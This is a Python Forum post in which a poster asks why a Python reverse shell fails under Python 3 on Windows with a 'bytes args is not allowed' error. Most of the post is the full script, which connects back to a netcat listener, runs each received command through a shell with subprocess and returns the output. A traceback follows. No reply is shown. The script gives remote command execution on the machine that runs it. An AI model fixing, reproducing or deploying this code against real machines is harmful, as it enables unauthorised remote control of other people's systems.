Python Forum

Full Version: Writing a simple shell
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Hi All

I'm new to Python and trying to write a shell I can execute on a remote machine which connects back to my host machine. My host machine is running a netcat listener. However, when I run the following code on the remote machine:
import socket,subprocess

HOST='127.0.0.1'
PORT=12345
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))

s.sendall(b'[*]Connection Established!')

while 1:
    data=s.recv(1024)
    if data=='quit':break
    proc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
    stdout_value=proc.stdout.read()+proc.stderr.read()
    s.sendall(stdout_value)

s.close()
I get the following error message:

Traceback (most recent call last):
File "C:\Users\user1\Documents\PythonShells\python_setup.py", line 14, in <module>
proc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
File "C:\Users\user1\AppData\Local\Programs\Python\Python39\lib\subprocess.py", line 951, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "C:\Users\user1\AppData\Local\Programs\Python\Python39\lib\subprocess.py", line 1352, in _execute_child
raise TypeError('bytes args is not allowed on Windows')
TypeError: bytes args is not allowed on Windows


The code ran fine on Python 2.x but now I'm trying to use Python 3.x and its popped up with this error. Do I need to encode the 'byte' string somehow and then decode?

Any help would be greatfully received.

Thanks..